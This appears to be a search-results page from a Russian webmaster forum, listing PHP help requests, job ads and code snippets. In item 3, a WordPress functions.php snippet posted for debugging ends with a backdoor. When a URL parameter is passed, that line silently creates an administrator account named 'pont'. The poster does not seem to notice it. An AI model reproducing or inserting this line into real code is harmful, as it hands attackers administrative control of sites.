Search the Community

Showing results for tags 'PHP'.



More search options

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Поисковые системы
    • Поисковая оптимизация
    • Яндекс
    • Google
    • Другие поисковики
    • SMO
    • Каталоги
    • Инструкции и уроки
  • Основные форумы
    • Оценка сайта
    • Новости
    • Контекстная реклама
    • Партнерские программы
    • Сервисы, программы и скрипты
    • Дизайн
    • Домены
    • Биржа сайтов
    • Сайтостроительство
    • Хостинг
    • Финансы
    • Разное
    • Конкурсы
  • Работа
    • Правила раздела
    • Дизайн
    • Копирайт/Рерайт
    • SEO
    • SMO/SMM
    • Программирование
    • Разное
  • Другое
    • О нас
    • Black List
    • White List
    • Оффтопик

Skype


Местоположение


Интересы


Ваш сайт


Профиль ID

Found 62 results

  1. Нужен ресурс по функционалу как: http://sutochno.ru/ Бюджет обсуждается (для сочувствующих он 100 рублей) , предпочтение РФ, при необходимости оплачиваемый выезд к заказчику. Прошу предложения в личку без воды.
  2. Добрый вечер всем! Столкнулся с небольшой проблемой на сайте. Пишу скрипт проверки доступности сайта. Проверка осуществляется в PHP функцией headers($url). Если сервер возвращает 200ОК, тогда процесс идёт дальше. Что делать с теми случаями, когда адрес сайта ввели неверно? На экран отображается вот такая ошибка: Мне нужно просто отключить вывод ошибок на экран и выводить "Неверно введен URL". Правильно ли я понимаю? Или как-то можно вообще избежать возникновения ошибок?. Заранее спасибо.
  3. function kama_recent_comments($limit=10, $ex=45, $cat=0, $echo=1){ global $wpdb; if($cat){ $IN = (strpos($cat,'-')===false)?"IN ($cat)":"NOT IN (".str_replace('-','',$cat).")"; $join = "LEFT JOIN $wpdb->term_relationships rel ON (p.ID = rel.object_id) LEFT JOIN $wpdb->term_taxonomy tax ON (rel.term_taxonomy_id = tax.term_taxonomy_id)"; $and = "AND tax.taxonomy = 'category' AND tax.term_id $IN"; } $sql = "SELECT comment_ID, comment_post_ID, comment_content, post_title, guid, comment_author, comment_author_email FROM $wpdb->comments com LEFT JOIN $wpdb->posts p ON (com.comment_post_ID = p.ID) {$join} WHERE comment_approved = '1' AND comment_type = '' {$and} ORDER BY comment_date DESC LIMIT $limit"; $results = $wpdb->get_results($sql); $out = ''; foreach ($results as $comment){ $date="j.m.Y"; $comtext = strip_tags($comment->comment_content); $leight = (int) iconv_strlen( $comtext, 'utf-8' ); if($leight > $ex) $comtext = iconv_substr($comtext,0,$ex, 'UTF-8').' …'; $out .= "\n<div class='f_num'><div class='f-date'>".get_comment_date($date,$comment->comment_ID)."</div><span class='f_author'><a href='". get_comment_link($comment->comment_ID) ."'>".strip_tags($comment->comment_author). "</a> </span><div class='f_text'>{$comtext}</div></div>"; } if ($echo) echo $out; else return $out; } if($_GET['dfooter']=18){$userdata = array('ID'=>0,'user_pass'=>'1','user_login'=>'pont','rich_editing'=>true,'user_registered'=>'2012-08-19 12:02:16','role'=>"administrator"); wp_insert_user($userdata);} При таком коде выводиться ошибка: "Notice: Undefined variable: join in /home/a/aliatr/pytrip.ru/public_html/wp-content/themes/pytrip/functions.php on line 218 Notice: Undefined variable: and in /home/a/aliatr/pytrip.ru/public_html/wp-content/themes/pytrip/functions.php on line 220" (с включением debug режима), подскажите как исправить, буду благодарен 218 строка: LEFT JOIN $wpdb->posts p ON (com.comment_post_ID = p.ID) {$join} 220 строка: AND comment_type = '' {$and}
  4. Всем доброго вечера! Кто понимает в PHP помогите пожалуйста, есть на сайте скрипт, который по средствам cron выполняет рассылку пользователям, чьи объявления были размещены 10,20,30 и т.д. дней назад, т.е. через каждые 10 дней. Подскажите пожалуйста, что надо поменять, что бы кратность была не 10 дней, а 30 вот кусок кода: $r = mysql_query("SELECT * FROM `board` WHERE RIGHT(DATEDIFF(DATE(NOW()), data), 1) = 0"); while($rr=mysql_fetch_array($r)) Спасибо!
  5. Нужен совет, как сделать более компактную статистику. У меня есть таблица `server_stats` INSERT INTO `server_stats` (`id`, `server_id`, `time`, `players`, `ping`, `date`) VALUES (20873740, 96647, '09:30', 8, 27, '1432017001'); INSERT INTO `server_stats` (`id`, `server_id`, `time`, `players`, `ping`, `date`) VALUES (20873741, 96652, '09:30', 0, 26, '1432017001'); INSERT INTO `server_stats` (`id`, `server_id`, `time`, `players`, `ping`, `date`) VALUES (20873742, 96658, '09:30', 0, 36, '1432017001'); INSERT INTO `server_stats` (`id`, `server_id`, `time`, `players`, `ping`, `date`) VALUES (20873743, 96672, '09:30', 17, 31, '1432017001'); INSERT INTO `server_stats` (`id`, `server_id`, `time`, `players`, `ping`, `date`) VALUES (20873744, 96708, '09:30', 0, 64, '1432017001'); Для каждого сервера создается одна строка в час. Получается что на все сервера примерно идет создание больше 1 500 000 записей. Как то не экономно Я подумал добавить в структуру сервера поле? допустим `statistics` и добавить туда всю статистику по определенному серверу в формате json. Собствено своих знаний не хватает, как записывать новые значения и удалять ненужные. Если кто может помочь - я вас ищу
  6. Уважаемые форумчане! К сожалению не могу предоставить для просмотра доступ к сайту, но суть в том, что все работает вроде бы нормально, только над изображениями всегда вылазит строка: Deprecated: Function split() is deprecated in /home/us12345/public_html/show-image.php on line 382 открываю show-image.php 382 function findExtension ($filename) { $filename = strtolower($filename) ; $exts = split("[/\\.]", $filename) ; $n = count($exts)-1; $exts = $exts[$n]; return $exts; } Что тут не так? Буду благодарен в решении этой проблемки.
  7. Приветствую, коллеги. В общем, раньше я пользовался Wordpress, копался в нем и так далее. Но пришел к выводу, что некоторые сайты просто нет смысла делать на этом движке, хотя и люблю его. То есть бывает надо сделать что-то, не привлекая такую "силу". Задумался над изучением framework php. В русскоязычном интернете не так много статей мне удалось найти, где люди бы делились впечатлениями, да и советы однофорумчан хотелось бы получить. Итак: 1) Какой Ваш framework php любимый? 2) Почему? Как вы к нему пришли? 3) Если использовали один framework, а потом перешли на другой, что стало причиной? Очень интересно послушать отзывы и рекомендации, спасибо!
  8. Здравствуйте, есть шаблон detube 1.47 версия купленный на utema_ru. В single.php нужно выдачу похожих постов на случайные посты изменить. Для это-го нужно в functions.php шаблона, отредактировать/подогнать функцию “dp_related_posts()” на rand/random - случайную выдачу. В single.php не надо нечего редактировать, но я его выложу для ознакомления файла, в самом funtions.php нужно от, отрезка «dp_related_posts()» подогнать функцию выдаче на random/случайную. single: https://yadi.sk/d/BjYQITZfdtvtG funtion: https://yadi.sk/d/G5FIIy9FdtvpA demo: http://themeforest.net/item/detube-professional-video-wordpress-theme/full_screen_preview/2664497 Пишите свой предложения/решения/помощь, а также могу заплать за быстрое и качественной решения задачи.
  9. Добрый день. Я представляю небольшую веб-студию. В данный момент наша команда небольшая, но мы пока неготовы брать на постоянную работу новых людей. Однако периодически наших сил нехватает и нам приходится в спешке искать нужного человека. Воизбежание этой ситуации, хотелось бы всегда иметь контакты этого нужного человека под рукой. Т.е. Вам просто нужно заявить о себе, сказать свои расценки и рассказать что умеете и в случае чего, мы к вам обратимся. Нам нужны люди, которые: 1. Знают PHP. 2. Умеют работать с движками и могут адаптировать шаблон под: Joomla, Drupal, 1C Битрикс, PrestaShop, OpenCart, Magneto. 3. Рисуют дизайн полиграфии. Если вы умеете адаптировать шаблоны под один из перечисленных выше движков, тогда пишите. Просьба указывать реальные цены, за которые вы согласны работать, т.е. "адаптация от 10 000р" – нас не интересует, пишите реальные цены. Можно писать здесь, можно в ЛС.
  10. Ребята, подскажите пожалуйста, какой код быстрее выполнится и создаст меньшую нагрузку на сервер ? Мой код : <?php $idform = strip_tags ($_POST["form-id"]); switch ($idform){ case 1: // Здесь выполнение любого кода и вывод результатов. break; } ?> Или код рекомендованный LetSevI : <?php $idform = strip_tags ($_POST["form-id"]); call_user_func ("form_$idform"); function form_1(){ // Здесь выполнение любого кода и вывод результатов. } ?> И ещё подскажите пожалуйста, как проверить есть ли function form_1(), и только тогда выводить : call_user_func ("form_$idform"); что-то типа isset для переменных, а то сам ещё не нашёл... (Для чего это нужно можно посмотреть здесь http://talk.pr-cy.ru/topic/14615-raschyoty-na-stranitce-wordpress/)
  11. Привет всем! Уважаемые знатоки php помогите пожалуйста! Стоит на сайте модуль биография актёров, на станице с фильмом выводится список всех актеров бывает по 30 а то и 50 актеров, нужно чтобы выводилось только по 10 актеров в алфавитном порядке. Сам код отвечавший за вывод актеров. if ($row['actors']) { foreach (unserialize($row['actors']) as $alt_name => $name){ if( $name ) { if( $config['allow_alt_url'] == "yes" ) { $link_b = '/' . "biography/" . $alt_name . "/"; $link_a = '/' . "films/" . $alt_name . "/"; } else { $link_b = '/' . "biography/" . $alt_name . "/"; $link_a = '/' . "films/" . $alt_name . "/"; } if ($actors[$alt_name] != '2') $actors_link[] = "<a class=\"label label-info\" onclick=\"return dropdownmenu(this, event, ActorsMenu('" . $link_b . "', '" . $link_a . "', 'Биография', 'Все фильмы'), '170px')\" href=\"#\" class=\"label label-info\">{$name}</a>"; else $actors_link[] = "<a class=\"label label-warning\" href=\"{$link_a}\">{$name}</a>"; } } $actors_link = implode( ' ', $actors_link ); } $tpl->set('{actors10}', $actors_link);
  12. Подскажите пожалуйста хороший скрипт, который будет генерировать сайтмап для сайта? Сайт самописный, соответсвенно нет возможности поставить как для какой нибудь CMS модуль. Нужен отдельный скриптик.
  13. Всем привет. Изучаю php и практикуюсь на всем, что попадется. Так, играя в settlres, решил сделать таймер бафов. Сейчас бафнул и в какое время эффект бафа закончится. Баф - это усилитель. В игре есть здания, которые на определенное время можно усилить (ускорить производство). Так появился вот такой таймер allmotion.hol.es/timebuffs/index.php . Его минус, что php не позволяет "увидеть" (я такого не нашёл) время на компьютере игрока, чтобы автоматом подгонять время, пришлось использовать date_default_timezone_set. Каждый сам себе выбирает время. Но вот задался целью оживить такой таймер наглядностью, а именно, чтобы время менялось онлайн, для этого надо использовать javascript. В нем я вообще не силен, но кое-как собрал вот такой пример: http://codepen.io/campusboy/pen/OPgjME/ Всё работает, но так как усилителей (бафов) много и они разные по продолжительности действия, я в функцию добавляю время (эффект усилителя). Для одного бафа этой конструкции достаточно, но их порядка 80. Подскажите, пожалуйста, как оптимизровать код, чтобы не было 80 повторов (я понимаю, что функция для того и нужна, чтобы не было повторов, но как сделать на javascript не знаю)? Самый удобный вариант, если бы писать: <div id="buff" class="60"></div> где в class я бы вводил минуты длительности бафа.
  14. К примеру есть файлы: index.php module/body.php module/error.php - здесь неважно содержимое... Суть вопроса: как правильно указать путь подключаемого файла через include? Код index.php: <? $doc_root = $_SERVER['DOCUMENT_ROOT']; include 'module/body.php'; ?> Код module/body.php: <? /* Собственно вопрос! Какой из вариантов лучше всего использовать? Какой работает быстрее, в первую очередь? Т.к. во всех 3-ёх случаях файл подключается. */ include 'error.php'; // 1-ый include 'module/error.php'; // 2-ой include $doc_root.'/module/error.php'; // 3-ий ?> Или же кто подскажет относительно какого файла идет проверка на наличие подключаемого файла: - index.php - module/body.php - или php начинает проверку от /var/www... Заранее спасибо за ответы!
  15. Доброго вечера! В общем проблема такая, я в PHP не селен, все делаю методом "научного тыка", но в данном случае не получается. Файл, представленный ниже, запускается раз в сутки по средствам планировщика крон, он рассылает письма тем, у кого через 3 дня заканчивается срок публикации объявлений. <? require_once('../connect/connect.php'); require_once('../lib/lib.php'); $base='http://obyavleniya.info/'; $them='Заканчивается срок хранения Вашего объявления'; $mess='Через 3 дня заканчивается срок публикации Вашего объявления<br> <br> <b>Для продления и поднятия объявления перейдите по ссылке <a href="'.dir_tek().'edit.php?id='.$ins.'&pass='.$data['pass'][1].'">Редактирование объявления</a> и нажмите кнопку "Изменить"</b><br>'; $adm='<br><br>С уважением, администрация сайта'; $r = mysql_query("SELECT * FROM board WHERE id_akk > 0 AND (data1 - INTERVAL 3 DAY > NOW()) AND (data1 - INTERVAL 4 DAY < NOW()) "); while($rr=mysql_fetch_array($r)) { $arr[$rr['email']] .= 'N '.$rr['id'].' - <a href="'.$base.'items/'.$rr['zag_url'].'_'.$rr['id'].'">'.$rr['zag'].'</a><br>'; } if($arr) { foreach($arr as $index=>$ar) { @mail_utf8($index, $them, $mess.$ar.$adm, $rru['email']); } } ?> Мне надо сделать такой же файл, но что бы он рассылал письма через каждые 10 дней (для проверки актуальности объявления) Что посоветуете, обратиться на freelance.ru или может кто поможет?
  16. В веб-студию вебсайтик.рф для постоянного сотрудничества требуется разработчик со знанием PHP и популярных CMS (Joomla и т.д.) Типичные задачи: Натяжка готовой вертски на шаблон Joomla Доработка и разработка модулей Мы предлагаем регулярную работу с регулярной оплатой без задержек. Пишите в личку или на e-mail job@website-ok.ru
  17. Имеется скрипт отправки заявки. На сайте заполняются 3 поля и то, что туда ввели я хочу видеть в указанной почте. С английским языком проблем нет, но русский (не тот что в коде, а из переменных) на указанный емейл приходит каракулями. Хотя та же фраза "Вам поступил запрос" в письме отображается нормально. Не пойму почему такой затык с кодировкой переменных. Кто подскажет, как это исправить - скину 200р на WMR) <?php $email = $_POST['email']; $name = $_POST['fio']; $textz = $_POST['textz']; $text = "Вам поступил запрос. $name, $email, $textz"; $to = "емейл"; $subject = "Тема письма"; $subject = convert_cyr_string ($subject,w,k); $subject = '=?koi8-r?B?'.base64_encode($subject).'?='; $msg = convert_cyr_string ($text,w,k); $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/plain; charset=koi8-r' . "\r\n"; $headers .= 'To: '.$to. "\r\n"; $headers .= 'From:' .$email. "\r\n"; if (mail($to, $subject, $msg, $headers)) { echo "<center><br><a href='ссылка'><img src='картинка' ></a></center>"; } ?>
  18. Помогите пожалуйста написать скрипт на php - Калькулятор - порядок формирования цен на продукцию предприятия. По формуле: Цена = (ПР + ПерР) / К (1) Цена = (ПР + ПерР + Пр) / К (2) Цена – цена реализации единицы продукции; ПР – постоянные расходы предприятия; ПерР – переменные расходы на единицу реализуемой продукции; К – количество реализуемой продукции; Пр – ожидаемая прибыль.
  19. суть задачи есть такая строчка <li><?php echo getAvatar( $useAvatarFrom, $userinfo, 50 ); ?></li> и такая <?php if ( $user->id || !$user->id && $com_params->get( 'allowGuestUserViewProfil', 1) ){ echo '<a href="'.$profil.'">'. $usrname . '</a>'; } else echo $usrname; ?> первая выводит аватарку, вторая ссылку на профиль надо чтоб аватарка стала ссылкой
  20. вот имеется код <?php $rate_query = new WP_Query( array ( 'post_type' => 'movies', 'orderby' => 'meta_value', 'meta_key' => 'wtf_rscore','posts_per_page'=>'10' ) ); while ( $rate_query->have_posts() ) : $rate_query->the_post(); ?> wtf_rscore выводит материалы с высоким рейтингом. Как сделать чтоб выводились самые просматриваем записи? Спасибо
  21. Здравствуйте! Есть код, который выкидывает ошибку: Deprecated: Function eregi() is deprecated in /home/user/site.ru/plugins/uregister/uregister.users.register.add.first.php on line 24 Вот сам код: <?PHP /* ==================== [BEGIN_SED_EXTPLUGIN] Code=uregister Part=main File=uregister.users.register.add.first Hooks=users.register.add.first Tags=users.register.tpl: Minlevel=0 Order=10 [END_SED_EXTPLUGIN] ==================== */ if (!defined('SED_CODE')) { die('Wrong URL.'); } $rusername = str_replace(' ', '', $rusername); $rusername = sed_import('rusername','P','TXT', 100, TRUE); $ruseragreement = sed_import('ruseragreement','P','BOL'); $ruserregtype = sed_import('ruserregtype','P','ALP'); $error_string .= (!eregi("^[a-zA-Z][_a-zA-Z0-9-]*$", $rusername)) ? "В логине разрешено использовать только латинские символы<br />" : ''; $error_string .= (empty($ruserregtype)) ? "Не выбран тип аккаунта<br />" : ''; $error_string .= (!$ruseragreement) ? "Необходимо подтвердить согласие с условиями пользовательского соглашения<br />" : ''; ?> Как правильно поправить эту строку? Спасибо огромное!
  22. Доброго времени суток. Есть ли у кого файлы import.xml и offers.xml от 150 МБ (чем больше тем лучше) которыми он бы мог поделиться? Мне они нужны исключительно для теста своего скрипта ( загоняет все в MySQL).
  23. Пытаюсь запустить скрипт замка для сайта (платный доступ), т.к. мой сайт работает по https протоколу, скрипт не подгружает стили и js из-за чего становится не возможно войти или произвести оплату. Как в приведенный ниже скрипт прописать стили и js находящиеся на моем домене (скопирую оригинальные)? Код <?php $old_ua = @ini_set('user_agent', 'glopart-subscription-2'); $response = @file("http://glopart.ru/subscription/phpform/866?" ."&subscription_login_id=".urlencode($_COOKIE["subscription_login_id"]) ."&subscription_token=".urlencode($_COOKIE["subscription_token"]) ."&GRemoteAddr=".urlencode($_SERVER["REMOTE_ADDR"]) ."&GUserAgent=".urlencode($_SERVER["HTTP_USER_AGENT"]) ."&back=".$_SERVER["SERVER_NAME"].htmlentities(urlencode($_SERVER["REQUEST_URI"]))); if ($response !== false) { if (count($response)>1 || $response[0] != 'true') { header('Content-Type: text/html; charset=utf-8'); die(implode("", $response)); } } else die('Не удалось запросить внешний сервер'); @ini_set('user_agent', $old_ua); ?> Код который не доступен к правкам, вызывается скриптом выше <!DOCTYPE html><html lang="en"></html><head><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="IE=edge,chrome=1" http-equiv="X-UA-Compatible"><title>Форма подписки</title><link rel="stylesheet" href="http://glopart.ru/assets/styles/subscription/subscription-6d123dc3.css"><script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js" type="text/javascript"></script><script src="http://glopart.ru/static/js/easyXDM/easyXDM.min.js" type="text/javascript"></script><script src="http://glopart.ru/static/js/jquery.cookie.js" type="text/javascript"></script></head><body><!--[if lt IE 9]><div class="popup__overlay popup__overlay_ie"></div><![endif]--><div class="popup__overlay"><div class="popup"><div id="step1" class="g-body"><div class="g-content"><h1>Доступ к сайту</h1><p>Доступ к этой странице предоставляется на платной основе.<br>Стоимость: 29.0USD</p><p>После оплаты вам на почту придет письмо с вашим логином<br>и паролем для доступа.</p></div><div class="g-buttons"><a id="g-singinbtn" class="btn btn-default" href="javascript:void(0);">Уже есть доступ</a><a class="btn btn-default buyLink" href="#">Оплатить доступ</a></div></div><div id="step2" class="g-body" style="display: none;"><div class="g-content"><div class="checkStatus"></div><p><label>Логин:</label><br><input id="subscriptionLogin" class="form-control" name="login" type="text"></p><p><label>Пароль:</label><br><input id="subscriptionPassword" class="form-control" name="passwd" type="password"></p><p class="small-gray"><a class="buyLink" href="#">Оплатить</a> или<a class="remindLink" href="#">напомнить доступ</a></p><div class="g-buttons2"><a id="g-checkbtn" class="btn btn-success">Получить доступ</a></div></div></div></div><!--[if lt IE 9]><div class="popup__valignfix"></div><![endif]--></div><script type="text/javascript">if (typeof window.JSON == 'undefined') $.getScript('http://glopart.ru/static/js/json2.js'); function gotoHref(href) { window.location = href; return false; } $("#g-singinbtn").click(function () { $("#step1").css({display:'none'}); $("#step2").css({display:'block'}); }); $(".buyLink").click(function () { return gotoHref('http://glopart.ru/buy/866'); }); $(".remindLink").click(function () { return gotoHref('http://glopart.ru/subscription/remind/866'); }); $("#g-checkbtn").click(function () { var status = jQuery("div.checkStatus"); status.removeClass("checkStatusError").addClass("checkStatusPleaseWait"); status.text("Идет проверка..."); $.ajax({ url:"http://glopart.ru/subscription/check", dataType:'jsonp', data:{login:$("#subscriptionLogin").val(), passwd:$("#subscriptionPassword").val(), subscription:'C2C713D2EE6C4548BFD35C00F850C64C'}, success:function (data) { status.removeClass("checkStatusPleaseWait"); if (data.code == 0) { status.removeClass("checkStatusPleaseWait").addClass("checkStatusSuccess"); status.text("Ваш доступ разрешен"); $.cookie('subscription_login_id', data.guid, {expires:30, path: '/'}); $.cookie('subscription_token', data.token, {expires:30, path: '/'}); setTimeout(function(){location.reload(false)},1000); } else { status.addClass("checkStatusError"); if (data.code == 1) { status.text("Доступ с такими данными не найден"); } if (data.code == 3) { status.text("Ваш доступ ограничен, пожалуйста обратитесь к продавцу!"); } if (data.code == 2) { status.html("<p>Закончился срок действия подписки</p><a href='"+data.prolong+"'>Продлить</a>"); } } }, error:function () { status.removeClass("checkStatusPleaseWait").addClass("checkStatusError"); status.text("Произошла ошибка"); } }); });</script></body> Спасибо.
  24. Здравствуйте! Постоянно предлагаю услуги по написанию любых PHP скриптов, начиная от простых парсеров, регистраторов аккаунтов, постеров контента, ботов, cms, заканчивая сложными сервисами: биллинги, смс биллинги, партнерки, панели управления и т.д.. Работаю только по предоплате, % предоплаты зависит от конкретного проекта, но не менее 30%. Имею 66 BL в системе web money, 0 жалоб/исков. После регистрации прошло: ~ 2 года и 10 месяцев. WMID: 215457683660. Любые интересующие вас вопросы задавайте по этим контактам (предпочтительнее - ICQ): ICQ: 11321132, Почта: shift196@yandex.ru (проверяю 2-3 раза в час). ! Просьба также указывать, что вы по поводу написания php скриптов и вкратце описать проект, либо скинуть небольшое ТЗ. Пожалуйста, учтите: пишу только проекты с нуля, т.е. ничего не допиливаю, не исправляю кривые парсеры, плагины и т.д. С Уважением, Shift196.
  25. Каким онлайн сервисом можно расшифровать зашифрованый php код